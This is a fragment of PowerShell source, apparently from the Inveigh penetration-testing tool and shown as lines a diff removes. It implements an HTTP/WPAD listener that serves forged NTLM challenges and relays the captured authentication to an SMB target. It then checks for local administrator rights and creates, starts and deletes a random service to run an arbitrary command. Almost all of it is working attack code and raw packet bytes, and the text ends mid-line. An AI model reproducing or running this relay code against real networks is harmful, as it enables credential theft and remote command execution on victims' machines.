0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00, - 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - 0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d, - 0x20,0x30,0x2e,0x31,0x32,0x00 - } - - 1 - { - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 32) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 22) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 2) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.Length) - $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 34)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 45)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 104)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Array]::Reverse($SMB_netbios_length) - - $SMB_relay_challenge_send = 0x00,0x00 + - $SMB_netbios_length + - 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - 0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00, - 0x01,0x00,0x00,0x00,0x00,0x00 + - $SMB_blob_length + - 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + - $SMB_byte_count + - 0x60 + - $SMB_length_1 + - 0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0 + - $SMB_length_2 + - 0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01, - 0x82,0x37,0x02,0x02,0x0a,0xa2 + - $SMB_length_3 + - 0x04 + - $SMB_NTLMSSP_length + - $HTTP_request_bytes + - 0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00 - } - - } - - $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send,0,$SMB_relay_challenge_send.Length) - $SMB_relay_challenge_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_challenge_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_challenge_stream.DataAvailable) - { - - if($SMB_relay_challenge_stopwatch.Elapsed -ge $SMB_relay_challenge_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_challenge_loop - } - - } - - } - - $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes,0,$SMB_relay_challenge_bytes.Length) - $i++ - } - - return $SMB_relay_challenge_bytes - } - -} - -# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target -$SMB_relay_response_scriptblock = -{ - function SMBRelayResponse - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) - - $SMB_relay_response_bytes = New-Object System.Byte[] 1024 - - if ($SMB_relay_socket) - { - $SMB_relay_response_stream = $SMB_relay_socket.GetStream() - } - - $SMB_length_1 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 12)) - $SMB_length_1 = $SMB_length_1 -replace "-00-00","" - $SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_length_2 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 8)) - $SMB_length_2 = $SMB_length_2 -replace "-00-00","" - $SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_length_3 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 4)) - $SMB_length_3 = $SMB_length_3 -replace "-00-00","" - $SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_NTLMSSP_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length)) - $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" - $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 16)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 27)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 86)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Array]::Reverse($SMB_length_1) - [Array]::Reverse($SMB_length_2) - [Array]::Reverse($SMB_length_3) - [Array]::Reverse($SMB_NTLMSSP_length) - [Array]::Reverse($SMB_netbios_length) - $j = 0 - - :SMB_relay_response_loop while ($j -lt 1) - { - $SMB_relay_response_send = 0x00,0x00 + - $SMB_netbios_length + - 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00, - 0x00,0x00 + - $SMB_blob_length + - 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + - $SMB_byte_count + - 0xa1,0x82 + - $SMB_length_1 + - 0x30,0x82 + - $SMB_length_2 + - 0xa2,0x82 + - $SMB_length_3 + - 0x04,0x82 + - $SMB_NTLMSSP_length + - $HTTP_request_bytes + - 0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00 - - $SMB_relay_response_stream.Write($SMB_relay_response_send,0,$SMB_relay_response_send.Length) - $SMB_relay_response_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_response_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_response_stopwatch = [Sustem.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_response_stream.DataAvailable) - { - - if($SMB_relay_response_stopwatch.Elapsed -ge $SMB_relay_response_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break :SMB_relay_response_loop - } - - } - - } - - $SMB_relay_response_stream.Read($SMB_relay_response_bytes,0,$SMB_relay_response_bytes.Length) - $inveigh.SMB_relay_active_step = 2 - $j++ - } - - return $SMB_relay_response_bytes - } - -} - -# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session -$SMB_relay_execute_scriptblock = -{ - function SMBRelayExecute - { - param ($SMB_relay_socket,$SMB_user_ID) - - if ($SMB_relay_socket) - { - $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_failed = $false - $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_service = $SMB_service_random -replace "-00","" - $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) - $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) - $SMB_service_random += '00-00-00' - [Byte[]] $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{$SMB_relay_command += "{0:X2}-00-" -f $_} - - if([Bool]($SMBRelayCommand.Length % 2)) - { - $SMB_relay_command += '00-00' - } - else - { - $SMB_relay_command += '00-00-00-00' - } - - [Byte[]] $SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service_data_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 237) - $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] - $SMB_service_byte_count_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 174) - $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] - $SMB_relay_command_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length / 2) - $k = 0 - - :SMB_relay_execute_loop while ($k -lt 12) - { - - switch ($k) - { - - 0 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00, - 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00, - 0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31,0x30,0x2e,0x32,0x2e,0x31,0x30, - 0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00 - } - - 1 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00, - 0x18,0x02,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08, - 0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 - } - - 2 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00,0x00,0x00,0x48,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00, - 0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0, - 0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, - 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38, - 0x00,0x10,0x03,0x02,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c, - 0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00, - 0x00 - - $SMB_multiplex_id = 0x05 - } - - 3 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 4 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x50,0x00,0x00,0x00,0x5c,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00, - 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03,0x00,0x15,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00 - - $SMB_multiplex_id = 0x07 - } - - 5 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 6 - { - $SMB_relay_execute_send = [Array] 0x00 + - $SMB_service_data_length_bytes + - 0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00 + - $SMB_service_byte_count_bytes + - 0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x3f,0x00,0x00,0x00,0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c, - 0x00 + - $SMB_context_handler + - 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00 + - $SMB_referent_ID_bytes + - 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00 + - $SMB_relay_command_length_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_relay_command_length_bytes + - $SMB_relay_command_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00 - - $SMB_multiplex_id = 0x09 - } - - 7 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - - 8 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x34,0x00,0x00,0x00,0x34,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00, - 0x00,0x00,0x00,0x13,0x00 + - $SMB_context_handler + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - } - - 9 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 10 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x2c,0x00,0x00,0x00,0x2c,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00, - 0x00,0x00,0x00,0x02,0x00 + - $SMB_context_handler - } - - 11 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - } - - $SMB_relay_execute_stream.Write($SMB_relay_execute_send,0,$SMB_relay_execute_send.Length) - $SMB_relay_execute_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_execute_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_execute_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_execute_stream.DataAvailable) - { - - if($SMB_relay_execute_stopwatch.Elapsed -ge $SMB_relay_execute_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $SMB_relay_failed = $true - break SMB_relay_execute_loop - } - - } - - } - - if ($k -eq 5) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) - } - elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - $SMB_relay_failed = $true - } - else - { - $SMB_relay_failed = $true - } - - } - elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11)) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - - switch($k) - { - - 7 - { - $SMB_context_handler = $SMB_relay_execute_bytes[92..111] - $SMB_relay_execute_error_message = "Service creation fault context mismatch" - } - - 11 - { - $SMB_relay_execute_error_message = "Service start fault context mismatch" - } - - 13 - { - $SMB_relay_execute_error_message = "Service deletion fault context mismatch" - } - - } - - if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') - { - $SMB_relay_failed = $true - } - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') - { - $inveigh.console_queue.Add("$SMB_relay_execute_error_message service on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - - } - else - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - } - - if(!$SMB_relay_failed -and $k -eq 7) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")]) - } - elseif((!$SMB_relay_failed) -and ($k -eq 9)) - { - $inveigh.console_queue.Add("SMB relay command likely executed on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) - - if($SMBRelayAutoDisable -eq 'Y') - { - $inveigh.SMB_relay = $false - $inveigh.console_queue.Add("SMB relay auto disabled due to success") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) - } - - } - elseif(!$SMB_relay_failed -and $k -eq 11) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")]) - } - - $SMB_relay_execute_ReadAndRequest = 0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - $SMB_multiplex_ID + - 0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58, - 0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00 - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")]) - BREAK SMB_relay_execute_loop - } - - $k++ - } - - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - -} - -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener -$HTTP_scriptblock = -{ - param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$WPADAuth) - - function NTLMChallengeBase64 - { - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($Inveigh.challenge) - { - $HTTP_challenge = $Inveigh.challenge - $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - - } - - while ($inveigh.relay_running) - { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $inveigh.message = '' - $NTLM = 'NTLM' - - if($inveigh.request.IsSecureConnection) - { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - if ($inveigh.request.RawUrl -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 - } - - $HTTP_request_time = Get-Date -format 's' - - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) - { - $HTTP_raw_url_output = $false - } - else - { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) - } - - $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address - $HTTP_request_time_old = $HTTP_request_time - - [String] $authentication_header = $inveigh.request.headers.getvalues('Authorization') - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if ($HTTP_request_bytes[8] -eq 1) - { - - if($inveigh.SMB_relay -and $inveigh.SMB_relay_active_step -eq 0 -and $inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget) - { - $inveigh.SMB_relay_active_step = 1 - $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by " + 